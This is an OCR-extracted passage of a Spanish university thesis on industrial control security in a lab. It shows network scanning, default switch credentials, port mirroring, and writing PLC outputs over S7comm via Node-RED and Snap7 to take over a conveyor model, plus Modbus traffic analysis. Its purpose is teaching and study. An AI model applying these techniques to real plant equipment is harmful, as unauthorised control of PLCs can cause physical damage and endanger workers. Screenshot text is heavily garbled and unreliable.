Una vez visto esto, sabemos que la red del laboratorio es la 192.168.56.0/24. Si queremos
ver una lista de los dispositivos que hay accesibles en la red, podemos utilizar la herramienta
Nmap [3] para escanearlos. Para ello, debemos instalar esta herramienta e introducir el
comando correspondiente por la consola. Para instalarlo, yo voy a indicar el procedimiento
para MacOS, que es el sistema donde realizo el proyecto. En este sistema es recomendable
usar HomeBrew [4] para poder instalar paquetes (equivalente de apt install de Linux). Para
instalar este gestor de aplicaciones, es tan facil como introducir el siguiente comando en el

terminal:

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Una vez tenemos instalado este gestor, podemos instalar las aplicaciones con brew
install [aplicacién].Porloque paranmap bastacon ejecutar brew install nmap.
Para ejecutar nmap, basta con poner nmap -flags/opciones en el terminal. Para saber que
opciones y flags son necesarias para lo que se busca, recomiendo mirar la documentacién en
la referencia [3] o usar la ayuda con —help. Para hacer un discovery de los dispositivos de la
red, empleamos el comando nmap -sP 192.168.56.0/24. Obtenemos la siguiente lista
de dispositivos (importante destacar que el comando ha sido ejecutado desde el puesto 1y
por lo tanto, los dispositivos accesibles desde la otra seccion del laboratorio no se muestran):
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[ ] B miguel — -zsh — 80x24

Last

login: Fri Jun 4 12:13:33 on ttys@e2

miguel@PMacBook-Pro-de-Miguel ~ % nmap -sP 192.168.56.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 14:20 CEST

mass_

Try
Nmap
Host
Nmap
Host
Nmap
Host
Nmap

Host

Nmap
Host
Nmap

dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
using —-system-dns or specify valid servers with --dns-servers
scan report for 192.168.56.99

is up (@.0037s latency).

scan report for 192.168.56.100

is up (0.0068s latency).

scan report for 192.168.56.151

is up (@.0016s latency).

scan report for 192.168.56.152

is up (@.0017s latency).

scan report for 192.168.56.172

is up (8.00077s latency).

done: 256 IP addresses (5 hosts up) scanned in 40.01 seconds

miguel@MacBook-Pro-de-Miguel ~ % I

Figura 4: Salida del descovery de equipos de la red

Una vez que tenemos las IPs devueltas por el nmap, podemos probar a acceder a estas IPs

desde el navegador, ya que los switches suelen tener interfaz web para configurar. Aqui nos

encontramos uno de los errores mas tipicos de seguridad y de los mas faciles de salvaguardar.

Las credenciales para acceder a la configuracion son las por defecto (usuario: admin

contrasefia: admin). Desde esta web podriamos cambiar este usuario y contrasefia y tomar el

control de estos equipos y bloquear temporalmente el acceso a los propios ingenieros de la

planta. Aun

asi, lo que mas nos interesa es ir a la configuracion de los puertos para hacer

mirroring de algun puerto para poder obtener los paquetes que hay en esa interfaz.
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Sl EMENS Automation & Drives

Authorization

Figura 5: Interfaz web de los switches Scalance

SIEMENS | Automation & Drives
Power CPU Port

SIMATIC NET Industrial Ethernet Switch
SCALANCE X208
192.168.56.99

. X208 Switch Configuration

#(2 System

¥ X208

# {1 Agent

=13 Switch

-B Ports

B cable Tester
~[E] ARP Table
~[E) Loop Detection
#{1] Statistics

Figura 6: Configuracion del port mirroring Scalance X208

Es importante saber que este switch existe y es el presente en la red del laboratorio, pero al
ser un switch industrial que suele trabajar con protocolos industriales, hay ciertas cosas que
nos limita. Por ejemplo, cuando se intenta hacer port mirroring con s7comm o profinet, el
switch filtra estos paquetes para que no se puedan ver desde fuera. Para solucionar esto,
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hemos colocado un switch HP Procurve 2626 el cual configuraremos para poder obtener

estos paquetes de protocolos industriales.

Este switch se configura por interfaz serial, por lo que podemos utilizar varios programas
para acceder a este terminal, en mi caso, voy a emplear la propia consola de MacOS para
ello. Para poder conectarnos, primero debemos obtener la ruta donde se monta el adaptador
usb-serial, para ello si ponemos en el terminal 1s /dev/cu. * se nos devuelve una lista de
los dispositivos de comunicacion externos. De esta lista sacamos la ruta de nuestro
adaptador, que en mi caso es /dev/cu.usbserial-FT4RODXH. Una vez tenemos esta
informacidn solo queda saber los baudios a los que transmite el switch, en este caso 115200.
Por ultimo, nos conectamos con screen /dev/cu.usbserial-FT4RODXH 115200V se
nos abre la consola del switch. Una vez dentro, vamos a acceder a la configuracion bésica

escribiendo menu sobre la linea de comandos.

Para configurar el port mirroring debemos primero acceder a Switch Configuration y luego
a Network monitoring port. En mi caso, he establecido como monitor portsel 1y 2 y el
monitoring el 3. Esto quiere decir que cualquier paquete que entre o salga por el puerto 1y
2 serd reenviado por el 3.

[ ] B miguel — screen [dev/cu.usbserial-FT4ARODXH 115200 » SCREEN — 80x24

— CONSOLE - MANAGER MODE —=
Main Menu

PlStatus and Counters...

. Switch Configuration...
Console Passwords...
Event Log

Command Line (CLI)
Reboot Switch

Download 0S

Run Setup

. Stacking...

. Logout

al,
2
3.
b
6.
6.
7.
8.
9
]

Provides the menu to display configuration, status, and counters.

To select menu item, press item number, or highlight item and press <Enter>.

Figura 7: Men0 de configuracion del Procurve 2626
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[ ] B3 miguel — screen Jdev/cu.usbserial-FT4ARODXH 115200 » SCREEN — 80x24

— CONSOLE - MANAGER MODE -=:
Switch Configuration Menu

. System Information

. Port/Trunk Settings

.
. Spanning Tree Operation
. IP Configuration

. SNMP Community Names

. IP Authorized Managers

« VLAN Menu...

. Return to Main Menu...

1
2
3
&
5
6
7
8
]

Configures a switch port to monitor the activity on other ports.

To select menu item, press item number, or highlight item and press <Enter>.

Figura 8: Configuracién del Switch Procurve 2626

5.2 S7comm

S7Comm es un protocolo propietario de Siemens para las comunicaciones entre sus equipos
(PLCs, HMIs ...). Este protocolo fue introducido con la familia de PLCs S-300 y S-400 y
desde entonces sigue en desarrollo constante. Al ser un protocolo propietario, la cantidad de
informacion que tenemos disponible es muy limitada. También hay que indicar que como
estos equipos trabajan en sectores donde los ataques pueden llegar a ser catastréficos, el
secretismo de este es muy importante. Un ejemplo del impacto que puede tener un ataque
sobre estos sistemas fue el ataque que se lanz6 contra una planta de enriquecimiento de
uranio en Iran. Se consiguio inyectar un programa malicioso sobre unos PLCs, consiguiendo
modificar unos parametros de la centrifugadora a la vez que se mandaban datos correctos a

las estaciones de ingenieria [2].
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Este protocolo manda los datos en el payload de COTP (Connection Oriented Transport

Protocol). Las capas del protocolo son los siguientes:

0sl layer Protocol
7 | Application Layer 57 communication
6 | Presentation Layer | S7 communication
5 | Session Layer 57 communication
4 | Transport Layer 150-on-TCP (RFC 1008)
3 | Network Layer IP

2 | DataLink Layer Ethernet
1 | Physical Layer Ethernet

Tabla 2: Capas del protocolo S7TComm [5]

Lo primero que hacemos siempre es analizar el trafico para ver en concreto que version del
protocolo se encuentra en la red. Con cualquier proyecto del TIA Portal V16 (Software de
Siemens para programar sus PLCs y HMIs), al cargar el software en los equipos o la
comunicacion entre ellos, detectamos que este trafico se trata de S7TComm plus. Esta es una
version mas moderna del conocido S7TComm y que integra muchos mecanismos de
seguridad. Debido a esto, vamos a centrarnos en el S7comm que, aunque no lo usen por
defecto, se pueden llevar a cabo algunos ataques. También al tratarse de equipos modernos
(S7-1500) los ataques son mas complejos y menos efectivos (ya que implementan mas
métodos de seguridad). Aun asi, al final de este apartado citaré un poco en que consiste la

seguridad del protocolo S7TComm plus.

En cuanto al funcionamiento de este protocolo, es importante fijarse en la Tabla 3, que nos
aporta mucha informacion sobre las capas del protocolo. Lo mas importante es saber que
crea un socket TPC y esté a la escucha del puerto 102. Esta informacion la podemos obtener
de varias formas: leyendo la informacion del protocolo o analizando los paquetes en

Wireshark (se vera adelante en los ataques).

Es importante destacar que los ataques que se van a desarrollar en este apartado todos tienen
como objetivo las variables de la memoria del PLC, ya que las entradas imput/output

analogicas requieren acceso fisico al equipo. Aun asi, es interesante ya que podemos leerlas
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remotamente y en las memorias digitales se puede escribir, afectando o modificando el

comportamiento que los ingenieros programaron al PLC.

El primer ataque que vamos a documentar es el mas sencillo de llevar a cabo, ya que se
realiza a traves de una interfaz. El programa que se utilizara para ello es Node-Red [6]. Esta
herramienta nos facilita la comunicacion entre dispositivos de hardware y apis. Para
instalarlo en MacOS se necesitan varios paquetes, los cuales se muestran en la referencia
[7]. Una vez instalada y arrancada la aplicacion, debemos instalar varios médulos para

comunicarnos a través de S7 con los PLCs. En el apartado de configuraciones debemos

buscar en palette los siguientes dos médulos:

‘complete

catch

status

link in

link out

comment

~ function

function

switch

change

range

template

User Settings

View

Keyboard

Palette

Nodes Install

0 node-red-contrib-s7 &

A Node-RED node to interact with Siemens S7 PLCs

& S00betwy M8
¥ node-red-contrib-s7-http 7
w10

© node-red-contrib-s7comm

A Node-RED node to communicate with Siemens 57 PLC

> 116 8

@ nodered-contrib-sms77
Sms77.io node for Node-REC

A Node-RED noda to interact with Siemens ST via

o =

» g

=0 Deploy =

021, 5:08:25 PM  node: 101398ec dcbaT

Ahora vamos a configurar un flow para poder leer las entradas de un proyecto del PLC. Para
este proyecto, voy a emplear uno de prueba con la pequefia maqueta de la cinta

transportadora presente en el laboratorio. El proyecto esta subido en el repositorio de GitHub

[8].

Figura 9: Modulos S7 para node-red
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Este proyecto del TIA Portal tiene una serie de variables, con las cuales a través del HMI
podemos controlar varios parametros de la maqueta de la cinta transportadora. También
podemos ver sefiales que la cinta nos manda (sensores de proximidad y un sensor que se
activa y desactiva con el movimiento de esta). El control de estas variables y de la cinta, en
un entorno realista se realizaria desde un sistema SCADA o desde un HMI, como seria en

este caso.

Clock_Byte Byte %MBO
Clock_10Hz Bool %M0.0
Clock_5Hz Bool %0 1
Clock_2.5Hz Bool MO 2
Clock_32Hz Bool MO 3
Clock_1.25Hz Bool %04
Clock_1Hz Bool %05
Clock_0.625Hz Bool %MO.6
Clock_0.5Hz Bool %O 7
poGira Bool %026
posentido Bool %Q2.7
piTace Bool %I3.5
mClock Bool %h10.0
mClockPermiso Bool %h110.1

Figura 100: Variables en el proyecto [

INNNRRNENNAAREE
INNNRNENERREEE

NN - Y

L EININNEENO0EEE

COMILLAS

UNIVERSIDAD PONTIFICIA

PERMISO CLOCK
:

Figura 11: HMI del proyecto [8]

En un ataque realista, el atacante no sabria que variables son las que necesita para cambiar
el funcionamiento del programa. En este caso, analizando el trafico podriamos ver que
variables son las que se estan utilizando (en este caso es complicado ya que se comunican a
través del protocolo S7TComm-plus) y cambiar sus valores. Otra opcion mas sencilla, es leer

todas las variables posibles, y deducir cuales son las que se estan utilizando en el proyecto.

Para este trabajo, vamos a partir de que se saben las variables son conocidas. Lo primero que
vamos a ver es la lectura de estas variables desde Node-Red. Para ello, voy a utilizar los
bloques S7in (del paquete PLC instalado anteriormente) y el debug para que nos muestre por
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la consola del framework las salidas. Para ello, primero debemos establecer la conexion con
el PLC en el bloque de S7 in. En este punto se nos pedira la IP del PLC y lo que es muy
importante, el rack y el slot donde se encuentra la CPU del PLC. Por defecto el slot esta a 2,
pero como el PLC del lab es un S7-1500 debemos ponerlo a 1. Por otro lado, en la pestafia

de variables, hay que afiadir todas las variables que queramos.

#+ Properties &
Connection Variables
% Transport Ethernet (ISO-on-TCP) v
@ Address 192.168.56.15 Port | 102
= Mode Rack/Slot v
&t Rack 0 Slot 1
£ Cycletime | 1000 : ms
© Timeout 2000 _ ms

W Name

Figura 12: Conexién con el PLC y node-red

i= Variable list

Q2.6 poGiro x
Q2.7 poSentido x
13.5 piTaco x
M10.0 mClock x

M10.1 mClockPermiso X

+ Adc Remove L Import | | & Export

Figura 13: Configuracion de las variables en node-red

Una vez hecho todo esto, establecemos en el S7 el modo “todas las variables” y al darle a
deploy se carga el flow. También se puede establecer que solo muestre los valores cuando
ha habido algin cambio en alguno de ellos (esta es la opcién recomendable para poder ver
con detalle lo que sucede). Para ponerlo a prueba, desde el HMI controlamos a mano la
maqueta de la cinta, encendiendo el motor, cambiando sentidos y activando la sefial del reloj.
Si todo es correcto, en la pestafia debug, deberiamos ver los cambios en estas variables de la

siguiente forma:

{"poGiro":true,"poSentido":true,"piTaco":false, "mClock":false, "mClockPermiso”:false}
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Una vez visto esto, procedemos a la parte de escritura. Hay que destacar que hay ciertas
variables sobre las que no podemos escribir en el PLC, como pueden ser las tipo I. Aun asi,
como las de tipo Q las podemos modificar, conseguimos controlar esta maqueta con nuestro
PC. Esto llevado a escala real y a una fabrica de verdad, las consecuencias podrian ser
catastroficas. A continuacion, se muestra el flow creado para este apartado, el cual nos da el

control sobre todas las variables a las que tendria acceso el ingeniero desde el HMI:

J true P~

— I @ online
» | false

: [ true -\

— f @ online
| false

J true Z—\
- [7 I ® online
» false

Figura 11: Flow de escritura [9]

Para cambiar los valores de estas variables, basta con hacer click sobre true o false de la que
qgueramos cambiar. Tanto el flow de escritura como el de lectura se encuentran en el
repositorio de GitHub [9]. También en la referencia [10] se puede ver un breve video del

resultado de este ataque.

Como hemos visto, este ataque realiza las funciones que hace el HMI, por lo que este tipo
de ataque es conocido como impersonating, en concreto un impersonating del HMI. De este
de tipo de ataque, voy a explicar dos formas extra. La primera es de forma programatica
(Python) y la ultima es otra herramienta parecida a node-red pero centrada en PLCs (se
explicard menos extenso). Para estos dos Gltimos, voy a implementar los ataques usando el
PLCSIM, que es la herramienta de TIA Portal que nos permite simular en red un PLC. Esto
es interesante ya que, a la hora de realizar préacticas de ciberseguridad, siempre es mas seguro

realizarlo sobre un equipo virtualizado. También es interesante ver este método debido a la
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situacion actual en la que nos encontramos. La pandemia nos ha forzado a una
transformacion digital de todos los &mbitos, entre ellos la ensefianza. Con esta herramienta,
se podrian impartir las practicas de laboratorio de forma remota sin perder detalle sobre el
funcionamiento de los PLCs.

Para el impersonating con Python, voy a emplear una herramienta extra, que me permite
acceder a este PLC virtual desde cualquier equipo de la red (no solo desde el equipo donde
se esta virtualizando). Esta herramienta es NetToPLCSim [11]. El equipo donde esta el
PLCSIM tiene IP 192.168.1.10, por lo que, en Python, cuando nos intentemos conectar al
PLC, pondremos esta IP. Este software se encarga de mandar luego los paquetes al socket

correspondiente de PLCSIM.

La libreria de Python necesaria para poder comunicarnos a traves de S7comm es Snap7. Esta
libreria la instalamos facilmente con el comando pip install snap7.Una vez instalado
este paquete, hay que instalar archivos extra para poder establecer la comunicacion. En caso
de Windows necesitamos los archivos snap7.dll y snap7.lib de la péagina oficial de snap7
[12] y afnadirlos al path. En MacOS, podemos instalar estos paquetes con brew install

snap7.

Una vez hecho esto, ya podemos proceder a escribir codigo. Este cddigo lo podemos
encontrar en el repositorio de GitHub en la siguiente referencia [13]. El funcionamiento de
este codigo es muy simple y la interfaz es por consola. Al ejecutarlo se muestra las 5
variables que usamos en el proyecto del TIA 'y sus respectivos valores. El programa pide que
se introduzca por teclado cual queremos modificar y el nuevo valor. Una vez introducido,

nos confirma la actualizacién y nos vuelve a mostrar las variables.

iDesea Contin uier otra para continuar:

Introduzca la ccién donde quiere escribir (@-5): 1
Introduzca @ si quiere ponerlo a false o 1 para true: 1
VALOR INTRODUCIDO CORRECTAMENTE.

Valor Q0. True
Valor Q0.1: True
Valor Q0.2: True
Valor Q0.3: False
Valor Q0.4: False
3 00 5: e

Figura 12: Output de la ejecucion del ProyectoCyber.py [13]
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También se puede comprobar que las escrituras y lecturas son correctas en las tablas de
observacion y activando la vision en tiempo real. Este codigo se puede facilmente adaptar
para crear un sistema SCADA como se vera en ese apartado del documento. Afadiendo una
interfaz grafica y unos threads para leer y escribir a la vez, tendriamos nuestro propio sistema

estada muy sencillito.

Usando la libreria Snap7 también podemos escribir un codigo que nos permita controlar la
maqueta de la cinta transportadora (modificamos los valores de las variables Q2.6 y Q2.7).
Este cddigo se encuentra en GitHub en la siguiente referencia [14] y en la referencia [15]
hay un video demostrando su funcionamiento. El cddigo es practicamente idéntico al
explicado anteriormente [16] con algunas modificaciones para modificar estos valores.

Otra herramienta con la que podemos hacer esto mismo es ProcessSimulator [17] que solo
esta disponible en Windows. Para conectarlo con el PLCSIM (o un PLC real), en la pestafia

de conexion tenemos que afadir el PLC:

57lsoTCP Connection
j Connections | <+ & PLC
i IP Address: |152.168.1.10
t
s Rack: 03: Slot: 13:
Ttems Name: o T Type: -
Connect ‘ ‘
Add Connection
Options
ame ' . =
tame: JPLC Erors before disconnect: 3=
Tyre: [ ~ Slowdawn: —
Ol Cancel awdawn: 0=
Cycle Time [ms]: 0
Write requests: 0
Value | aing | ftems
Comvete [ Count: 0
=
- Ok | Cancel |
Conned tions: 0 | ltems: 0
Figura 13: Conexién ProcessSimulator y PLC [17] Figura 14: Introduccion IP y Slot [17]

Una vez establecida la conexion, tenemos que afiadir un item en este caso vamos a afiadir de
Q0.0 a Q0.5. Una vez agregadas las variables, en la parte inferior nos sale el valor actual de
la variable seleccionada y en write podemos cambiar el valor por el que queramos. Para
comprobar que esto funciona correctamente, podemos ver en tiempo real la tabla de variables
en TIA Portal y asegurarnos de que est4 funcionando correctamente. Este comportamiento

y configuracién del programa se puede ver en el siguiente video [18]. Para controlar la
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maqueta, ocurre lo mismo que con Snap7, tendriamos que afadir las variables Q2.6 y Q2.7

y cambiar sus valores.

También es importante ver el contenido de los paquetes S7comm. Para ello, vamos a analizar
el tréfico capturado con wireshark durante la prueba con node-red [19]. Observando la
informacién de los paquetes, podemos ver que esta basado en TCP, COTP y luego ya el
payload de S7comm. También se observa, y es muy importante, que los datos del paquete
no estan cifrados, ya que corresponde la informacion que se envia con su correspondiente
valor en hexadecimal (lo cual no ocurre en S7TComm plus ya que la informacién estéa cifrada).
Si vemos un paquete de escritura y de lectura, se puede entender facilmente S7Comm.
También se puede apreciar como, en un paquete, es capaz de realizar varias lecturas o
escrituras (nunca las dos a la vez) de varias variables. El protocolo siempre responde con
ACKSs y en el caso de la peticion de lectura, en esta confirmacion es donde se encuentran los

valores devueltos por el PLC.

ion
(Job)

Protocol Id: @x32

ROSCTR: Job (1)

Redundancy Identification (Reserved): 0x068
Data Unit Reference: 2278

ount:
v Ttem [1]: (I 3.8 BYTE 1)
Variable specification: @x12
Length of following address specification: 18
Syntax Id: STANY (8x18)
Transpert size: BYTE (2)

er
Area: Inputs (I) (@x81)
v Address: 0x008818
. 00D 0000 G0OD G001 1... = Byte Address: 3
““““““““““““ .00 - Bit Address: @
Ttem [2]: (Q 2.8 BYTE 1)
Item [3]: (M 10.0 BYTE 1)

25 63 36 9a 21 04 00 €0 4c 68 ©6 28 05 00 45 @@ (<6l - Lh (- E
@0 5T 00 00 40 00 486 06 48 8d 0 a8 38 ac <@ a8 -_--@-@ H-- 8
38 0f cf 9a 60 66 a8 7f d5 bS 52 41 1a 8a 56 18 B8 - F AP
f ff ab 34 60 80 03 60 60 37 62 fo 80 32 01 6o a 72
60 08 6 BO 26 80 08 64 63 12 8a 10 B2 00 01 60 )
@0 81 @@ 0@ 15 12 02 1062 00 @1 0@ B0 52 00 60

0058 10 12 8a 10 62 o0 o1 [N 83 @0 00 50 - -EEed

Figura 15: Peticion de lectura S7TComm [19]

dundancy Identification (Reserved): 8x8080
Protocol Data Unit Reference: 2300

write Var (6x05)
t: 1

n
v Item [1]: (Q 2.6 BIT 1)
variable specification: ex1z
Length of following address specification: 1o
Syntax Id: S7ANY (exie)
Transpart size: BIT (1)
Length: 1

08 nu o
Area: Outputs (Q) (6xB2)
Address: 0600015

v Data

¥ Item [1]: (Reserve d)
Return code: Reserved (0x00)
Transport size: BIT (@x83)
Length: 1
Data: @1

26 63 36 92 2L 64 00 =0 4C 68 06 26 @6 00 45 @0 (<61 - Lh (- €
00 40 @9 00 4 00 40 05 45 97 O a8 36 ac O a5

38 Of cf 96 00 66 70 7d of df a2 68 65 23 50 18 8- -fp} - h-#P
f £ 26 bb 00 00 03 08 00 25 02 f0 80 32 01 6 & %2

Figura 16: Peticion de escritura S7Comm [19]
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¥ 57 Communication
v Header: (Ack_Data)
Protocol Id: @x32
ROSCTR: Ack_Data (3)
Redundancy Identification (Reserved): @x@8@8@
Protocol Data Unit Reference: 2278
Parameter length: 2
Data length: 17
Error class: No error (@x8@)
Error code: @x88
v Parameter: (Read Var)
Function: Read Var (@x@4)
Item count: 3
v Data
v Item [1]: (Success)
Return code: Success (@xff)
Transport size: BYTE/WORD/DWORD (@x%@4)
Length: 1
Data: @e
Fill byte: @xg@
Item [2]: (Success)
Item [3]: (Success)

20008 00 e 4c 68 06 28 pLRLENNElR 9a 21 @4 @8 @@ 45 6@ Lh (m ! E
@@ 4e ff 19 42 @@ 48 @6 49 84 c@ ad 38 @f c@ a8 Wo@@ I8
38 ac @@ 66 cf 9a 82 41 1a Ba a@ 7f d8 ec 580 18 & T --A P
20 9@ eb of oe @@ @3 @@ @e 26 @2 fe 8@ 32 @3 ee & 2

90 98 =6 90 B2 @@ 11 @@ @@ @4 @3 ff @4 00 @8 e
@@ ff 24 o0 @3 ee oe ff @4 @ @8 ee

Figura 17: Respuesta de lectura S7TComm [19]

S7Comm es un protocolo relativamente sencillo y en caso de hacer un ataque de packet
replay (responder con paquetes a partir de los capturados por el atacante). Para ello, hay que
saber como se construye el paquete y como son las direcciones de las variables.

En los PLCs del laboratorio que son la serie S7-1500, por defecto no usan este tipo de trafico.
La comunicacion entre PLC, TIA Portal y HMI se realiza a través de S7comm plus, que es
una mejora sobre el S7comm explicado anteriormente. La seguridad de este protocolo se
muestra en el Anexo 2: S7TComm Plus.

Estos programas vistos también nos permiten escribir y leer datos de un Data Block, los
cuales, en los sistemas reales, también se suelen almacenar muchos datos y con los cuales se
pueden crear funciones. No entro en detalle de como se realiza, ya que es casi igual que los
anteriores. Un ejempo de estos codigos en Python para ello lo podemos encontrar en la

siguiente referencia [20]
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5.3 MoDBUS

Modbus es otro protocolo de comunicacion industrial. Este protocolo fue creado a finales de
los afios 70 por el actual Schneider Electric para comunicacion entre maquinas y PLCs. No
es un protocolo moderno, por lo que se basa en los protocolos existentes en aquella época,
como son el RS232, RS485 y RS422. Debido a esto, es un protocolo muy simple y facil de
implementar. Se basa en una arquitectura Maestro y Esclavo. En este tipo de arquitectura, el
control de la comunicacion la lleva a cabo el maestro. Por ejemplo, en ningun caso el esclavo

proporcionard informacion sin que un maestro se lo solicite.

Debido a su simplezay a su arquitectura, es un protocolo que cogio fuerza para poder mandar
la informacién entre los sensores y los distintos equipos para poder monitorear los

dispositivos de campo como, por ejemplo, en sistemas SCADA.

Hay varias versiones de Modbus, segun las necesidades y segun el canal sobre el cual quiere
implementarse. Las dos versiones mas empleadas son Modbus TCP para comunicaciones
sobre Ethernet y Modbus RTU para comunicaciones serie. En este trabajo nos centraremos

en el TCP, ya que es mas actual.

El funcionamiento del protocolo es idéntico independientemente de la version empleada.
Modbus se basa en registros, en los cuales los esclavos y maestros escriben y leen. En el
caso de los esclavos, como ya he citado anteriormente, algunas de las acciones solo las podra
llevar a cabo cuando el maestro correspondiente se lo indique. Cada esclavo tiene sus
registros y su indicador (ID) con el cual el maestro le mandara peticiones, junto al numero o
nameros de registros a los que quiere acceder. Los registros son de varios tipos, con distintas
politicas de acceso y tamafio. A continuacion, se muestran estos datos en la tabla 3 y el

formato de la trama TCP en la tabla 4:

Tipo de objeto e = Nombre Longitud (Bytes) Funcién
Identificador de Ia transaccion | 2 Para la sincronizacion entre mensajes de servidor y cliente
Discrete input | Solo leer 1 bit Identificador del protocolo | 2 0 para Modbus/TCP
Coil Leerescribir | 1 bit Campo de longitud 2 Ndmero de bytes en esta trama
- - Identificador de unidad 1 Direccion del esclavo (255 si no se usa)
Input register | Solo leer 16 bits — — — ~ _
Codigo de funcién 1 Codigos de funcion como en otras variantes
Holding register | Leer/escribir | 16 bits Bytes de datos n Datos como respuesta o comandos
Tabla 3: Tipos de registros Modbus [20] Tabla 4: Campos del protocolo Modbus [20]
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Antes de realizar un ataque sobre Modbus, hay que investigar qué medidas de seguridad
implementa el protocolo. En este caso, Modbus es muy simple ya que no incorpora ningun
tipo de cifrado (manda los datos en texto plano) y no incorpora grandes medidas de
seguridad. En concreto Modbus lo Gnico que aporta es un namero de transaccion que sigue
una secuencia, el resto de la seguridad que incorpora es la propia que tiene por estar basado
en TCP.

Para realizar los ataques vamos a emplear un simulador de Modbus. En concreto para el
cliente voy a emplear ModbusPal que es un cliente basado en java, lo cual nos aporta la
posibilidad de ejecutarlo en distintos sistemas operativos indistintamente. Para descargarlo
en la referencia [21]. Con esta aplicacion podemos crear esclavos y sus registros. También
nos permite modificar manualmente los registros, lo cual puede venir bien para llevar a cabo
pruebas. Este programa se muestra en la figura 1. Para simular el master, utilizaremos
QModMaster [22] un programa que nos permite conectarnos al ModbusPal para leer y
escribir datos. Este programa se muestra en la figura 2. A continuacion se muestra el proceso

de configuracion.

Link settings
TCP/IP Serial Replay

TCP Port: 502

Project
Load

Run O Save

Learn Tools
Record Master
Help

Clear

Save as

Saipts

Console

Modbus slaves

Add Enable all

Disable all

Automation

Add Start al

Stop all

Figura 18: ModbusPal [21]
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&* OModMaster - X

File Options Commands View Help

a2 v e HDAE TEL 00O
Modbus Mode TCP | Siave Addr (8 %] Scan Rate (ms) [1000 |2
Function Code | Write Single Coil (0x05) | Start Address Dec ~

Number of Cails |1 %] Data Format |Dec +| Signed (]

@ TCP:192.168.001.005:502 Base Addr: 0 Packets : 0 Errors : 0

Figura 20: QModMaster [22]

ModbusPal 1.6c — O =
Link settings Project
TCPIP Serial Replay Load Clear
Run O Save Save as
Leam Tools
TCP Port: |502
Record Master Scripts

Ascii Help Console

Modbus slaves

Enable all Disable al
1 escavo %‘b x

Automation

Add Startall Stop all

Figura 19: Acceder a los registros

El proceso de conexion es muy simple. Primero crearemos un esclavo en el ModbusPal en
el botén Add del apartado Modbus slaves. Le asignaremos un ID y un nombre. Una vez
hecho esto, podemos crear un registro y poner valores. Para este ejemplo, en los registros 1

y 10, he puesto el valor 1 para que veamos gue funciona todo.
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[1] 1:esclavo X
Impart Export Modbus - | []Stay on top

Holding registers  Coils  Functions  Tuning

Remove Bind Unbind

Address value Mame Binding
Add coils *
From: |1
To: |10|
Cancel Add

Adding coil...

Figura 22: Acceder a coils y crear tabla

[1] 1:esclavo *
Import Export Modbus | [ | Stay on top

Holding registers  Coils  Functions  Tunming

Add Remove Bind Unbind

Address Value MName Binding

e L A A
[ o ) o Y ) e ) e e ) e Y

=
=L

Adding coils completed.

Figura 21: Tabla de coils y valores
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ICAI ICADE CIHS

&* OModMaster

File = Options Commands View Help

&) ¥ Modbus RTU... ¢ DAD ¢ ®E g 200
8 Modbus TCP...
M []  Settings... dr Scan Rate (ms) ‘

Function Code | Write Single Coil (0x05) ~ | Start Address Dec ‘

‘ Mumber of Coils |1 4| Data Format |Dec | Signed [] ‘

® TCP:192.168.001.005:502 Base Addr: 0 Packets : 0

Errors : 0

Figura 25: Conexion QModMaster

&% QModMaster
File Options Commands View Help

HE S EDSC L DA T E

=24

Modbus Mode TCP | Slave Addr Scan Rate (ms) (1000 |& ‘
Function Code |Read Coils (0x01) ~ | Start Address Dec ‘

Number of Coilz (10 [+ Data Format |Dec | Signed [] ‘

x

© TCP:192.168.001.005:502 Base Addr: 0 Packets : 0 Errors : 0

Figura 24:Configuracion lectura de coils

&* QModMaster

File Optiens Commands View Help

K EIDISC S D AEH TELD 00

Modbus Mode TCP Slave Addr Scan Rate (ms) (1000 |5 |
Function Code | Read Coils (0x01) ~ | Start Address Dec ~ |

Number of Coils (10 %+ Data Format |Dec | Signed [] |

1 0 0 o 0 0 0 0 o 1

Figura 23: Lectura de los coils

Una vez hecho este proceso, solo hace falta ir a la pantalla principal de ModbusPal y darle a
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Run. Ahora procedemos a configurar el QModMaster para que se conecte con el ModbusPal.
Lo primero es configurar la direccidn del slave al que nos queremos conectar, para ello,
vamos a opciones y a modbus tcp. Ahi introducimos la ip y el puerto del ModbusPal. Una
vez hecho esto, debemos de introducir el id del esclavo y nos conectamos. QModMaster nos
ofrece varias operaciones, en este proyecto nos centraremos en la de escritura y lectura de
Coils. Para esto también hay que indicarle el nimero o nimeros del coils a los que queremos

acceder para realizar la operacion indicada.

Al leer o escribir datos, se comunican los dos programas utilizando Modbus. Este trafico lo
podemos analizar usando Wireshark y veremos que es un protocolo bastante simple y
confirmamos que no estéa cifrado. Un descubrimiento importante que se aprecia en este punto
es que el checksum no se valida en ningin momento. En este punto también vemos los
distintos mecanismos de seguridad que implementa. Al estar basado en TCP, se ve que cada
peticion se valida por un ACK, por lo que hay unas secuencias TCP que sigue. También se
Ve gue sigue una secuencia de transaccion. En la figura 29 se puede ver trafico de lectura y
de escritura 'y en la figura 30 se ve los datos que aflade Modbus sobre TCP en una query de

escritura de un valor 0 en el primer registro, los cuales se aprecia que se transmiten en texto

plano.
192.168.1.18 192.168.1.5 Modbus... 66 Query: Trans: 3; Unit: 1, Func: 1: Read Coils
192.168.1.5 192.168.1.18 Modbus... 65 Response: Trans: 3:; Unit: 1, Func: 1: Read Coils
192.168.1.18 192.168.1.5 Modbus... 66 Query: Trans: 43 Unit: 1, Func: 1: Read Coils
192.168.1.5 192.168.1.18@ Modbus.. 64 Response: Trans: 4; Unit: 1, Func: 1: Read Coils
192.168.1.18 192.168.1.5 Modbus... 66 Query: Trans: 5: Unit: 1, Func: 1: Read Coils
192.168.1.5 192.168.1.18 Modbus... 64 Response: Trans: 5; Unit: 1, Func: 1: Read Coils
192.168.1.18 192.168.1.5 Modbus... 66 Query: Trans: 6; Unit: 1, Func: 5: Write Single Coil
192.168.1.5 192.168.1.18 Modbus... 66 iResponse: Trans: 63 Unit: 1, Func: 5: Write Single Coil

Figura 29: Tréafico Modbus
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M Wireshark . Packet 711 . Ethernet

Frame 711: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface \Device\NPF_{F863285F-3349-4353-BDDF-822A1D9B4767}, id @
Ethernet II, Src: Dell_56:1f:75 (a4:1f:72:56:1F:75), Dst: ASUSTekC 3e:16:cl (6@:a4:4c:3e:l6:icl)
Internet Protocol Version 4, Src: 192.168.1.5, Dst: 192.168.1.10
Transmission Control Protocol, Src Port: 562, Dst Port: 51128, Seq: 32, Ack: 49, Len: 12
